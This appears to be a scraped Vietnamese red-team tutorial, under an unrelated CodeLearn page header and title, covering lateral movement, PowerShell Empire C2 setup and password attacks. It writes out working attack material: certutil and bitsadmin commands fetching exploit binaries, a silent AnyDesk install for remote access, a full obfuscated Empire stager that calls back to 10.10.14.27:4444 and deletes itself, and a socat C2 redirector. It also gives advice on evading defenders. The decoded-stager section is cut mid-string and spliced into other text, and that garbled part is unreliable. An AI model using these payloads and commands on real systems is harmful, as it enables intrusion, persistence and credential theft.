Khắc phục lỗi không kết nối sever memory hacker năm 2024

CodeLearn is an online platform that helps users to learn, practice coding skills and join the online coding contests.

Links

Learning

Training

Fights

Information

About Us

Terms of Use

Help

Help

Discussion

Powered by CodeLearn © 2024. All Rights Reserved. rev 2/24/2024 9:44:06 AM

# Lateral Movement & Pivoting ## Khái niệm - Là một kỹ thuật attacker dùng để "đi sâu" hơn vào network - Được hacker dùng khi đã có được initial access vào system - 60% các cuộc tấn công có sử dụng lateral movement - Red Canary ## Vì sao cần? - Khi có được initial access thì thường attacker vẫn chưa đạt được chủ ý ban đầu => Attacker cần tấn công sâu hơn vào network để tìm kiếm thông tin, đạt được mục đích ## Attack Vector - Attacker dựa vào những tiện ích, dịch vụ và công cụ có sẵn trên hệ thống để tiến hành leo thang quyền hạn, tấn công lan sang các máy lân cận - Bên cạnh đó attacker cũng tận dụng những thông tin đã thu thập được như email, username, ... để thực hiện các kỹ thuật social - Lợi dụng các thông tin thu thập được để tạo ra các wordlist phục vụ cho việc bẻ khóa mật khẩu (bruteforce, ...) - Attacker dựa vào các lỗ hổng trong dịch vụ, công cụ, hệ điều hành trong các machines khác trong mạng để tấn công lan ## Sections ### Lateral Tool Transfer - Attacker sẽ truyền tải các file, công cụ qua lại giữa các hệ thống bị kiểm soát nhằm tải lên các mã khai thác, tải về các file tài liệu quan trọng, phát tán malware, ... - Attacker thường sẽ sử dụng các công cụ, dịch vụ hợp lệ và có sẵn (cmd, SMB, ftp, ...) để giảm thiểu khả năng bị phát hiện bởi các hệ thống IDS #### CMD - CMD là công cụ sẵn có và giúp thực hiện nhiều tác vụ trên windows qua CLI - CMD có thể tương tác với hệ thống, thực thi các tiến trình, đọc/sửa/xóa/copy các file, thư mục - CMD được lợi dụng nhiều bởi các cuộc tấn công bởi tính sẵn có. #### PSEXEC - PsExec là công cụ builtin của windows cho phép chạy một tiến trình bất kì ở các window machines khác - PsExec thường được sử dụng bởi các IT Administrator và cả attacker - Attacker dùng PsExec để truyền tải các file, công cụ khác qua lại giữa các máy, cũng như có thể được dùng để chạy các tiến trình trên nhiều máy khác nhằm tấn công lây lan #### FTP - FTP là một giao thức truyền tải các tập tin qua mạng, được sử dụng rộng rãi ở cả windows và linux - Bên cạnh tiện ích giao thức này mang lại thì nó cũng được sử dụng bởi attacker để truyền tải các file, công cụ qua lại giữa các máy nhằm phát tán mã khai thác, malware hoặc tải về các file thông tin nhạy cảm #### SSH - Một giao thức giúp các admin truy cập và quản lý máy từ xa, được sử dụng phổ biến ở linux - Attacker có thể lợi dụng SSH theo cách tương tự như FTP để truyền tải file thông qua SCP (Secure Copy Protocol) #### SMB - Là một giao thức chia sẽ files và printers giữa các nodes trong mạng được phát triển bởi IBM - Được sử dụng phổ biến, cũng là một thành phần dễ bị attacker lợi dụng - Một lỗ hổng trong SMB từng bị lợi dụng bởi ransomeware WannaCry để tự phát tán trong mạng, là một trong những vụ tấn công ransomeware nghiêm trọng nhất từng xảy ra https://github.com/fortra/impacket/blob/master/examples/smbserver.py #### Certutil - Là một chương trình cli dùng để hiển thị thông tin cấu hình của CA (certification authority), cùng nhiều tác vụ khác liên quan đến certificates như verify, backup, restore, ... - Certutil có thể được dùng để tải về một file tử internet, có thể bị lợi dụng để tải về các mã khai thác hay tải về các file tài liệu từ các host khác cùng mạng ``` certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe ``` #### Powershell - Là một command shell, cung cấp nhiều feature nổi bật hơn so với cmd như tab completion, pipeline cùng với nhiều cmdlet hữu ích - `Invoke-WebRequest` - một cmdlet giúp gửi một HTTP Request đến một URL, có thể bị lợi dụng để tải về các mã khai thác, malware, ... - Nhờ vào tính "feature-rich" của PowerShell mà attacker có thể lợi dụng nó vào rất nhiều mục đích khác nhau - Ví dụ như [PowerCat](https://github.com/besimorhino/powercat) giúp tạo một reverse shell connect về lại server của attacker #### bitsadmin - Là một command-line tool, dùng để tạo, download, upload các jobs và monitor tiến trình của chúng - Có thể bị lợi dụng để tải về các mã khai thác, malware, ... ``` bitsadmin /addfile myDownloadJob https://downloadsrv/10mb.zip %temp%\10mb.zip ``` #### Others: at.exe, schtasks.exe, curl, wget, netcat, ncat, iwr, cscript, wmic, ... ### Getting inside - Sau khi có được initial access vào hệ thống, attacker sẽ cố gắng xây dựng một môi trường đầy đủ hơn để tương tác với server - Lấy ví dụ attacker đã tìm ra cách để thực thi OS command lên server, attacker lúc này sẽ cố gắng chạy một số lệnh yêu cầu **interactive shell** như `sudo -l` nhằm liệt kê ra các binaries mà attacker có thể chạy với quyền root bằng user hiện để tìm cách leo quyền - Nhưng khi gõ lệnh này thì `sudo` sẽ yêu cầu ta nhập password, `sudo` lại không có option nào để specify password trong câu lệnh. Lúc này attacker dù có valid credentials nhưng cũng không thể nhập được vì cách attacker thực thi OS command là gửi và nhận về chứ **không có sự tương tác với shell**. Vào lúc này attacker sẽ cần tìm cách để tạo một **interactive shell** - Việc này sẽ giúp attacker thuật tiện hơn trong các thao tác, cũng như có thể truy cập được vào nhiều tính năng của hệ thống hơn #### Interactive shell - Trong ví dụ OS command injection, attacker lúc này đang thực thi các OS command thông qua một **non-interactive shell** - **Non-interactive shell** nghĩa là user chỉ có thể submit command lên và sau đó nhận về kết quả cuối cùng được in ra **stdout** (standard output), ngoài ra user sẽ không thể tương tác được gì khác (ví dụ như nếu chương trình đó yêu cầu nhập input thì sẽ không nhập được) - Một ví dụ của non-interactive shell là khi ta thực thi os command bằng php, nếu ta thử thực thi câu lệnh `top` thì ta sẽ thấy trình duyệt bị đứng ![](https://i.imgur.com/COUXEVi.png) - Đó là do lệnh `top` chưa kết thúc, vì thế nên php chưa trả về kết quả cho ta => trình duyệt treo do chưa nhận được response - Còn đối với một môi trường interactive shell, ví dụ như khi ta gõ `top` trực tiếp trong terminal thì ta có thể tương tác được với câu lệnh (bấm nút lên xuống) => vậy câu lệnh chưa kết thúc là để ta tương tác với nó - Vậy như ở ví dụ khi nãy, để lấy được interactive shell attacker đầu tiên sẽ cố gắng tạo một reverse shell, sau đó dùng lệnh bên dưới: ``` python3 -c 'import pty;pty.spawn("/bin/bash")' ``` - Lệnh này sẽ dùng để tạo một **pseudo-terminal** và thực thi binary `/bin/bash` bên trong terminal đó, mực đích là để tạo ra một môi trường mô phỏng lại cái terminal và interact được với terminal đó #### SSH - Ngoài cách tạo reverse shell trên, nếu attacker có valid credentials thì hắn có thể kết nối với SSH để có một interactive shell. #### Desktop access - Đối với linux, attacker có thể lợi dụng VNC đang chạy trên host của victim thông qua việc tấn công vào các lỗ hổng hoặc người dùng để có được quyền truy cập, sau đó VNC sẽ cho phép attacker truy cập vào giao diện graphic của host victim, từ đó attacker có thể sử dụng được nhiều tác vụ hơn - Đôi khi VNC sẽ không cần authentication, đây là một lỗ hổng trong quá trình cấu hình VNC - Đối với windows, có một builtin service dùng để truy cập vào giao diện graphic của windows và điều khiển máy đó từ xa, đó là RDP. Nếu tìm ra cách truy cập vào RDP của host victim, attacker sẽ có thể thực hiện được nhiều tác vụ hơn, từ đó tấn công sâu hơn vào hệ thống - Attacker có thể dùng các lỗ hổng của RDP (zerologon là một ví dụ), hoặc tấn công social engineering vào người dùng để dành được quyền truy cập vào RDP ##### Ngoài ra attacker đôi khi không dựa vào những cái sẵn có - Một số attacker sẽ cố gắng transfer/download một số phần mềm remote desktop khác và cài đặt nó trên máy của user (ví dụ như AnyDesk). - Với ví dụ của AnyDesk, phần mềm này cung cấp một tính năng vô cùng tiện lợi cho cả user và attacker, đó là giao diện dòng lệnh - AnyDesk có thể được install bằng cli command, cũng như chạy bằng CLI command: + download file rồi lưu vào %temp%\anydesk.exe : ``` certutil.exe -urlcache -f https://anydesk.com/en/downloads/windows?dv=win_exe %temp%\anydesk.exe ``` + chạy file từ download và install vapf %temp%\anydesk ``` %temp%\anydesk.exe --install %temp%\anydesk --silent ``` + set password cho anydesk ``` echo abc | %temp%\anydesk\anydesk.exe --set-password ``` + chạy anydesk ``` %temp%\anydesk\anydesk.exe --start ``` - Từ đây attacker có thể dùng một anydesk client để kết nối đến anydesk bên kia, truy cập vào giao diện graphic - Anydesk có thể chạy trên cả windows và linux - AnyDesk cũng đã có các khuyến cáo cho người dùng nhằm ngăn chặn các cuộc tấn công dựa trên AnyDesk: https://anydesk.com/gb/abuse-prevention ##### Occured incidences - Trong nhiều cuộc tấn công, nhóm hacker **revil** (Ransomware Evil là một nhóm hacker Nga) đã install các phần mềm remote desktop như AnyDesk và ScreenConnect để truy cập vào hệ thống của victim thông qua RDP https://techxmedia.com/understanding-revil-the-ransomware-gang-behind-the-kaseya-attack/ - Sau BazarLoader malware được kích hoạt trên máy của các victim, các kẻ tấn công truy cập vào máy của nạn nhân và install các ứng dụng remote access như AnyDesk và FileZilla (một FTP client) https://thedfirreport.com/2021/12/13/diavol-ransomware/ ### Command and Control (C&C) Frameworks - Khi thành công kiểm soát được nhiều host / networks, attacker cần một công cụ để kiểm soát tất cả các hosts đó để có thể scale up cuộc tấn công, duy trì việc kiểm soát đối với nhiều host trong thời gian dài - Có rất nhiều C&C (C2) Framework được sử dụng, trong đó có 2 cái tên nổi bật: + **Cobalt Strike** - paid + **Empire** - free - Ta sẽ focus vào PowerShell Empire, vì nó free. Empire có các chức năng nổi bật: + Dùng powershell (khi mục tiêu là windows) và python (khi mục tiêu là linux) + Tự động sử dụng proxy trên máy mục tiêu (nếu có) để giao tiếp với C2 + Profiles của C2 - các thông số như protocol, http url, user agent, callback time, lost limit, jitter, encryption key có thể được chỉnh sửa để tránh bị detect bởi AV + Có thể chạy **powershell** mà không cần chạy **powershell.exe** + Có các module để obfuscate source code, payload, *stagers + ... #### Chú thích: - ***stagers**: Một payload sẽ bao gồm 2 phần: stage và stagers. Stagers là một program nhỏ được dùng để download stage về, inject stage vào memory và execute nó. ### Setup Empire #### Installation - Làm theo https://github.com/BC-SECURITY/Empire - Install **starkiller** - GUI client của empire. ```bash sudo wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.3.2/starkiller-1.3.2.AppImage && mv starkiller-1.3.2.AppImage starkiller ``` - Sau đó `sudo ./ps-empire server`, mặc định empire server sẽ chạy trên port 1337 - Chạy starkiller: `./starkiller` - Mặc định creds để login vào empire server là **empireadmin**:**password123** #### Các thành phần của empire server - 3 thành phần chính của empire là listeners, stagers và agents: + listeners - tạo ra các listeners để nhận connection từ stagers + stagers - có thể hiểu là payload được gửi đến victim nhằm nhận về reverse shell + agents - những machine đã được controled - Các thành phần khác gồm có: + modules - giúp ta thực thi nhiều hành động khác nhau trên các agents (lock màn hình, zip các folders, restart machine, ...) + credentials - giúp ta quản lý các credentials đã tìm được + reporting - giúp ta xem lại những modules ta đã execute trên các agents #### Basic usage - Khi ta chạy empire server, một webserver sẽ được start lên, cung cấp các api nhằm giúp client thực hiện các tác vụ kiểm thử. ![](https://i.imgur.com/fQjpiqu.png) - Giờ ta sẽ xem qua cách sử dụng - Đầu tiên ta tạo một HTTP listener, các thông số của một listener gồm có: + name - tên của listener + host, port - host và port của attacker để listener chạy webserver trên đó + BindIP - IP address để listen + Headers - Các headers được sử dụng khi web server response + Profile - chứa các endpoint của web server để stager request đến lấy payload + StagingKey - key để stager decrypt payload sau khi down về từ web server + ... ![](https://i.imgur.com/DiPiIeb.png) - Tiếp theo là tạo một stager để deliver payload đến victim machine, ta tạo một multi/bash stager (dành cho linux): ![](https://i.imgur.com/iwQsXjA.png) + listener - là listener khi nãy ta mới tạo + language - python vì ta đang nhắm đến máy linux + tại optional fields ta có thể tùy chỉnh outfile để nó ghi ra một file cho ta thuận tiện upload lên server - Sau khi hoàn thành ta deliver stager vừa tạo đến victim machine và execute nó, sau đó ta sẽ được một agent mới - chính là máy ta vừa control được: ![](https://i.imgur.com/dqSrkSW.png) - Ta thử thực hiện port scan module để scan port của ip 10.10.14.27 từ agent hiện tại ![](https://i.imgur.com/tkMOQhn.png) ![](https://i.imgur.com/qKoVXhX.png) - Tại tab reporting ta sẽ thấy các lệnh/module ta đã thực thi trên machine của victim ![](https://i.imgur.com/u9mBkXG.png) #### Under the hood - Hãy tìm hiểu xem sau khi stager được thực thi thì điều gì đã xảy ra, đầu tiền ta đọc source code stager: ```bash! #!/bin/bash echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5czsKaW1wb3J0IHJlLCBzdWJwcm9jZXNzOwpjbWQgPSAicHMgLWVmIHwgZ3JlcCBMaXR0bGVcIFNuaXRjaCB8IGdyZXAgLXYgZ3JlcCIKcHMgPSBzdWJwcm9jZXNzLlBvcGVuKGNtZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKb3V0LCBlcnIgPSBwcy5jb21tdW5pY2F0ZSgpOwppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKTsKCmltcG9ydCB1cmxsaWIucmVxdWVzdDsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xNC4yNzo0NDQ0Jzt0PScvYWRtaW4vZ2V0LnBocCc7CnJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHNlcnZlcit0KTsKcHJveHkgPSB1cmxsaWIucmVxdWVzdC5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYi5yZXF1ZXN0LmJ1aWxkX29wZW5lcihwcm94eSk7Cm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JyxVQSksICgiQ29va2llIiwgInNlc3Npb249ZDdtZm00Z2dDdEFINGUwV2JiVXNrWTFVVVVVPSIpXTsKdXJsbGliLnJlcXVlc3QuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdOwpkYXRhPWFbNDpdOwprZXk9SVYrJ3xTVlovdyxIT25jPzxKLXN0JVUxRn4uYTkpRGkyQllUJy5lbmNvZGUoJ1VURi04Jyk7ClMsaixvdXQ9bGlzdChyYW5nZSgyNTYpKSwwLFtdOwpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKaT1qPTA7CmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NjsKICAgIGo9KGorU1tpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSk7CmV4ZWMoJycuam9pbihvdXQpKTs='));" | python3 & rm -f "$0" exit ``` - Stager đã được obfuscate để giảm khả năng bị detect, trước khi hoàn thành execution thì stager cũng bị xóa nhằm xóa dấu vết - Tóm gọn thì đoạn script stager chính đã được base64 encode, decode ra ta được: ```python! import sys; import re, subprocess; cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = ps.communicate(); if re.search("Little Snitch", out.decode('UTF-8')): sys.exit(); import urllib.request; UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://10.10.14.27:4444';t='/admin/get.php'; req=urllib.request.Request(server+t); proxy = urllib.request.ProxyHandler(); o = urllib.request.build_opener(proxy); o.addheaders=[('User-Agent',UA), ("Cookie", "session=d7mfm4ggCtAH4e0WbbUskY1UUUU=")]; urllib.request.install_opener(o); a=urllib.request.urlopen(req).read(); IV=a[0:4]; data=a[4:]; key=IV+'|SVZ/w,HOnc?- thay vì kéo plaintext về trực tiếp thì sẽ dễ bị detect ```python IV=a[0:4]; data=a[4:]; key=IV+'|SVZ/w,HOnc?- Một tổ chức gián điệp mạng có liên quan đến tình báo Nga được báo cáo rằng đã sử dụng công cụ empire cho rất các cuộc tấn công có mục đích - Năm 2018 một chiến dịch phising quy mô lớn đã được thực hiện nhắm vào các người dùng Trung Đông sừ dụng Empire Framework - Năm 2019, Empire Framework đã được sử dụng bởi các tội phạm mạng nhằm phát tán ransomeware nhắm vào các tổ chức y tế - Năm 2020, công cụ này cũng đã được sử dụng vào một chuỗi tấn công nhằm vào việc đánh cắp các dữ liệu nhạy cảm từ nhiều tổ chức bao gồm chính phủ và quân đội ### C&C infrastructure #### Protecting Traffic - Sự giao tiếp giữa C&C và client luôn cần được bảo vệ thông qua việc mã hóa, điều này sẽ gây khó khăn trong việc detect cũng như điều tra - Nhiều nhóm APT sẽ sử dụng HTTP để thiết lập kênh giao tiếp giữa các compromise hosts và C&C, kèm theo đó họ sẽ sử dụng SSL/TLS để mã hóa kênh giao tiếp, nhằm tránh việc bị phát hiện bởi các công cụ kiểm tra mạng (network auditor) - Bên cạnh SSL ta cũng có thể dùng thêm các network tunnel khác như DNS tunnel, ICMP tunnel, SSH tunnel, ... để bypass qua các ruleset của firewalls (Phần tunneling có refer) #### Using redirectors - Empire cùng các C&C server khác đã tích hợp rất nhiều cơ chế dành cho việc che giấu cuộc tấn công, làm việc phát hiện và ngăn chặn của blueteam (theo cách manual lẫn automatic) trở nên khó khăn hơn. Tuy nhiên việc để agents connect trực tiếp đến C&C vẫn tạo ra rủi ro khi mà dù nhiều yếu tố trong traffic bị thay đổi/obfuscated nhưng địa chỉ của C&C thì vẫn y nguyên trong suốt quá trình tấn công, đây là một điểm yếu lớn vì chỉ cần địa chỉ của C&C bị chặn thì ta sẽ phải setup lại cả một hệ thống C&C mới - Chính vì thế các adversary/tester đã tạo ra các mô hình cơ sở hạ tầng C&C nhằm duy trì cuộc tấn công lâu dài, làm khó khăn hơn quá trình điều tra - Lựa chọn của cấc nhóm APT chính là sử dụng các redirectors để đóng vai trò làm cầu giữa clients và (các) C&C server, nói cách khác thì redirectors là các reverse proxy đứng giữa - Đây là mô hình truyền thống được sử dụng bởi các cuộc tấn công cũ: ![](https://i.imgur.com/P7oKQOM.png) - Đây là một trong các mô hình mà các nhóm APT sử dụng trong thực tế: ![](https://i.imgur.com/IWh426T.png) - Mô hình trên sẽ sử dụng các **redirectors** đóng vai trò làm cầu nối giữa các attacker's controlled server - Mục đích của việc setup các redirectors thay vì tạo lập một kết nối trực tiếp đó là: + Tránh việc blueteam xác định được C&C server chính + Linh động khi redirectors bị block, lúc này ta chỉ cần thay đổi các redirector và point về lại C&C chứ không cần setup lại C&C + Khiến cho blueteam bị confuse vì có quá nhiều IPs/domains #### Redirections - Đây tạm gọi là phương pháp mà các redirectors "chuyển hướng" truy cập, được phân làm 2 dạng là: **Dumb pipe redirection** và **Smart redirection** ##### Dumb pipe redirection - Với phương thức này redirector sẽ forward toàn bộ lưu lượng truy cập về C&C server - Phương pháp này sử dụng chủ yếu với mục đích là giấu địa chỉ thật của C&C server - Với phương pháp này ta có thể sử dụng **Socat** trên redirector để forward traffic về C&C: ``` Socat TCP4-LISTEN:80,fork TCP4::80 ``` ![](https://i.imgur.com/prsfCMP.png) - Vậy lúc này các kết nối đến port 80 của redirector sẽ được forward đến port 80 của C2 server - Ưu điểm của kỹ thuật này là đơn giản, tuy nhiên ta có thể khiến cho việc điều tra của blueteam trở nên khó khăn hơn với Smart redirection ###### Về **Socat** (SOcket CAT) - là công cụ CLI đa năng giúp thiết lập các kết nối mạng và truyền dữ liệu giữa các tiến trình và service. Cho phép ta tạo các kết nối mạng phức tạp bằng các câu lệnh đơn giản - SOCAT thường được sử dụng để: + Forward connection giữa các processes và các hosts + Tạo một network tunnel + Scan port và connect vào service chạy trên port ##### Smart redirection - Với phương pháp này thì redirectors sẽ forward các kết nối được gửi từ chính các agents đến C2 server, nếu một kết nối khác được gửi đến (có thể là blueteam hoặc các công cụ giám sát) thì redirector sẽ forward đến một một nguồn khác (có thể là một trang hợp lệ như google, microsoft hoặc đến một trang chẳng liên quan nào đó) ![](https://i.imgur.com/f2fo9nW.png) - Vậy làm sao để redirector phân biệt được đâu là connection từ agent và đâu là connection từ blueteam? - Chắc chắn rằng trong một gói tin thì sẽ có rất nhiều các cách để có thể ẩn vào trong đó một dấu hiệu nhằm nhận biết traffic từ agent, các dấu hiệu này đều phải khó đoán để tránh việc blueteam phát hiện ra nhanh chóng - Một số dấu hiệu mà C2 có thể sử dụng như user-agent, http method, custom fields, ... - Tùy vào sự sáng tạo mà ta có thể tạo ra rất nhiều cách khác nhau để làm khó blueteam #### Logging - Trước giờ ta thường thấy các IT administrator, blueteam thiết lập rất nhiều log trên hệ thống nhằm ghi lại các hoạt động bất thường, debug, ... Nhưng thật ra ngay cả redteam cũng cần dùng log nữa - Ta nên có một traffic logger làm nhiệm vụ lưu lại traffic từ agents đến C2 server (và cả các fake server khác nữa) nhằm biết được động tĩnh của blueteam, ta sẽ biết được là blueteam đã biết cuộc tấn công này chưa, đã xác định được C2 server chưa, ... nhằm đưa ra quyết định phù hợp - Ví dụ như khi nhìn vào log, ta thấy blueteam đã phát hiện ra C2 server của mình, ngay lúc này ta có thể gửi đến một command cho agents yêu cầu đổi sang địa chỉ C2 mới (redirectors mới), sau đó ta có thể đổi redirectors mới và tiếp tục kiểm soát #### Multiple redirectors and servers - Ta có thể setup nhiều redirectors, mỗi redirects sẽ forward đến một số server khác nhau và có một redirectors sẽ forward đến C2 server chính - Trong các cuộc tấn công quy mô lớn attacker sẽ setup nhiều redirectors trỏ đến nhiều địa chỉ khác nhau như phishing server, c2 server, các trang legit nhằm đánh lạc hướng, ... #### Fast-Flux DNS #### Domain generation algorithm #### Many more - Có rất nhiều hình thức C2 khác, bởi C2 chỉ đơn giản là gửi command, nhận result giữa C2 với nhiều client khác nhau - Các attacker vô cùng sáng tạo đã tạo ra nhiều hình thức C2 như lợi dụng dropbox API, google sheets, ... #### Occured incidences - Trong chiến dịch **Operation Aurora** nhắm tới các công ty, tập đoàn lớn bao gồm **google**, **adobe**, **Juniper Networks**, các kẻ tấn công đã setup hệ thông gồm nhiều C&C server khác nhau để kiểm soát các hệ thống chiếm được. Attackers cũng sử dụng các máy chủ cloud **Rackspace** của các nạn nhân để làm C&C. Tổ chức này được cho là được bảo trợ bởi chính phủ Trung Quốc, China từ chối các cáo buộc liên quan https://en.wikipedia.org/wiki/Operation_Aurora - Nhóm APT nổi tiếng **Carbanak** sử dụng nhiều kỹ thuật social engineering, phát tán malware nhắm vào hơn 100 ngân hàng ở 30 quốc gia khác nhau về cuỗm hơn 1 tỷ đô. Nhóm này cũng đã dựng nên một các hệ thống C2 dựa trên google sheets, google forms để giao tiếp giữa C2 và victim https://www.forcepoint.com/es/blog/x-labs/carbanak-group-uses-google-malware-command-and-control ### In-depth password attack #### Types of password - Password guessing: + Password bruteforcing + Password spraying + Password Stuffing - Default credentials - Extract credentials from memory - Hard-coded password - Attacking Password Manager - MITM - Các công cụ thường dùng: hashcat, johntheripper, hydra, CrackMapExec, cupp, cewl, Mimikatz - Gen wordlist: cupp, cewl #### Password bruteforcing - Còn gọi là tấn công vét cạn, là dạng tấn công thử hết tất cả các tổ hợp có thể để tìm ra tổ hợp - Bruteforce thường được dùng để tìm ra tổ hợp đúng cho một cái gì đó, thường là mật khẩu - Trong lateral movement, attacker không thường sử dụng bruteforce một cách trực tiếp để tìm tổ hợp password đúng cho một account trong server bởi nó yêu cầu gửi nhiều request đến server đó - rất dễ bị detect bởi các policies trong server - Thay vào đó, attacker sẽ chuyển sang hướng thực hiện password bruteforce một cách "offline". Lấy ví dụ đó là khi attacker dùng các kỹ thuật như **LLMNR/NBT-NS/mDNS poisoning** và capture được **NetNTLMv2 hash**. Attacker sau đó có dùng một list các password và dùng các công cụ như johntheripper để tìm ra tổ hợp đúng, việc bruteforce sẽ hoàn thành dựa trên hash đã capture được và không cần giao tiếp với server, do đó sẽ không thể bị detect bởi các policies. - Machine to practice: starting point `Responder` - HTB #### Password spraying - Hơi khác với bruteforcing, password spraying là kỹ thuật sử dụng một password để thử với nhiều username khác nhau - Lấy ví dụ password `Password@123!`, sẽ tồn tại một xác xuất password này được sử dụng bởi một user nào đó trong organization. Lợi dụng điều này attacker sẽ "spray" password này cho toàn bộ user - Vậy thay vì thử nhiều password cho 1 user thì ở đây ta thử một password cho nhiều user - Có nhiều advantages so với bruteforce như: + Khó bị detect bởi các policy hơn, do không có sự sai password lặp lại liên tục cho một user nào (vì thường là các policy sẽ bắt pattern này nhiều hơn) + Organization càng lớn, càng nhiều user thì tỉ lệ thành công của việc thử một password càng cao + ... - Dù khó detect hơn bruteforce nhưng kỹ thuật này có thể bị hạn chế bằng cách "giảm tầm quan trọng của password" - nghĩa là sử dụng xác thực đa yếu tố, - Sẽ có lúc ta gặp một trường hợp là ta thu thập được rất nhiều password do các developers, IT administrator để quên ở trên một server nào đó nhưng lại chẳng biết password nào của user nào cả. Những lúc như thế là lúc password spraying phát huy tác dụng khi mà xác xuất cao rằng mỗi một password được sử dụng bởi một user nào đó trong network #### Password stuffing - Một họ hàng gần của password spraying, khi attacker tìm ra một password của một user, hắn ta sẽ thử password này với cả những account khác trong hệ thống của user này vì user hay đặt 1 password cho nhiều account. - Sau khi có được một credentials của một account trong một system, hãy lưu nó lại bằng một password manager nào đó (như của empire chẳng hạn) vì nó luôn có thể có giá trị để sử dụng lại trong các system, service khác #### Vài tips với kỹ thuật password guessing - Lọc các password bị sai so với policy trong wordlist (ví dụ như nếu ta biết policy của victim yêu cầu password phải trên 8 ký tự, có chữ in hoa và số nhưng không được có ký tự đặc biệt chẳng hạn) - Khi guess password, ta có thể dùng các wordlist có sẵn và chạy guessing trên máy mình, nhưng ta có thể tối đa hiệu quả và tỉ lệ thành công qua vài cách: 1. Các wordlist có sẵn đã được thu thập qua nhiều năm, do vậy rất đầy đủ. Tuy nhiên ta có thể kết hợp với các **custom wordlist** được tạo ra bằng các thông tin được thu thập trong quá trình tấn công: + sử dụng crawler để thu thập các từ khóa trên các website của target để tạo các tổ hợp bổ sung vào wordlist. Ví dụ ở đây ta có thể dùng `cewl` để crawl và thu thập các keywords trên trang web, các keyword này có thể được sử dụng để trộn với số, ký tự đặc biệt, upper/lower cases, ... nhằm tạo ra các bộ wordlist mới ![](https://i.imgur.com/jV3wY7g.png) + Dựa trên các thông tin thu thập được về các user (tuổi, năm sinh, họ tên, tên người yêu, tên thú cưng, sinh nhật, ...) để tạo nên các tổ hợp wordlist. Một công cụ điển hình cho việc này là `cupp`. `cupp` sẽ giúp ta kết hợp các thông tin ta đã thu thâp được để tạo ra một wordlist mới, bên cạnh đó nó cũng giúp ta cải thiện wordlist có sẵn bằng cách add thêm nhiều tổ hợp và ký tự khác: ![](https://i.imgur.com/Bst5cs2.png) cupp giúp cải thiện wordlist có sẵn ![](https://i.imgur.com/2s1g8zY.png) cupp giúp generate wordlist mới từ các thông tin thu thập được 2. Update wordlist thường xuyên mỗi khi đi hack, gặp password nào mới cứ lưu vô luôn. Nếu sợ bị trùng ta có thể dùng công cụ `uniq` có sẵn của linux ![](https://i.imgur.com/s1FtTnL.png) 3. Có thể sử dụng các dịch vụ cloud để tăng tốc độ thử các tổ hợp, bên cạnh đó cũng có thể sử đụng công cụ hashcat - một công cụ crack password có thể sử dụng GPU để phục vụ cho việc thử các tổ hợp một cách siêu nhanh - Dù các cuộc tấn công offline password guessing sẽ giúp ta ít bị phát hiện hơn, nhưng luôn luôn nên thực hiện quá trình cracking ở máy của mình thay vì trên máy của victim bởi nó có thể bị ghi lại trong các logs #### Default credentials - Nhiều service, program thường sẽ có một credential mặc định nếu như không được cấu hình bởi user. Vì vậy luôn thử các default credential - Lấy một ví dụ đó là trong cách mà các hacker xem trộm các CCTV, các CCTV thường sẽ có một default credential, nếu như người chủ không chủ động đổi thì sẽ dùng lại luôn credential đó, bằng việc tìm kiếm từ khóa `CCTV default credentials` ta tìm ra được một danh sách các loại CCTV kèm credentials và cả default local IP address nữa ![](https://i.imgur.com/IBsz4PN.png) #### Attacking Password Manager [...] #### Extract credentials from memory - Credentials còn thường được lưu trong memory trong lúc các tiến trình đang chạy - Mimikatz là công cụ post-exploitation trích xuất các plain-text password, password hash, kerberos ticketsk, ... ![](https://i.imgur.com/Vh2ldg4.png) - Mimikatz hỗ trợ rất nhiều module, mỗi module chứa nhiều lệnh khác nhau: ![](https://i.imgur.com/l9OwjyH.png) - Cú pháp chung của mimikatz là `:` ##### How it works? - Nguyên lý hoạt động của mimikatz chính là dựa vào việc giao tiếp với các windows api có sẵn khác nhau - Mimikatz có rất nhiều module nhưng để hiểu được cách hoạt động của nó ta chỉ cần đi qua một module tiêu biểu nhất đó là `lsadump` - Để module hoạt động được thì mimikatz cần quyền `SE_DEBUG_NAME` - Đây là quyền giúp tiến trình có thể debug và chỉnh sửa bộ nhớ của các tiến trình thuộc về các user khác. Quyền này chỉ có thể được obtained khi tiến trình được chạy với quyền NT `AUTHORITY\Administrator`, hoặc với các quyền cao khác như `NT AUTHORITY\LOCAL SERVICE`, `NT AUTHORITY\SYSTEM`. Do vậy, mimikatz thường được attacker sử dụng sau khi đã đạt được quyền hạn cao trong windows nhằm thu thập các credentials khác và access vào những tài nguyên khác trong hệ thống mạng - Một chút cơm thêm thì ta có thể tham khảo một số security principal sau được sử dụng bởi microsoft: + NT AUTHORITY\SYSTEM + NT AUTHORITY\LOCAL SERVICE + NT AUTHORITY\NETWORK SERVICE + NT AUTHORITY\Authenticated Users + NT AUTHORITY\Everyone + NT AUTHORITY\INTERACTIVE + 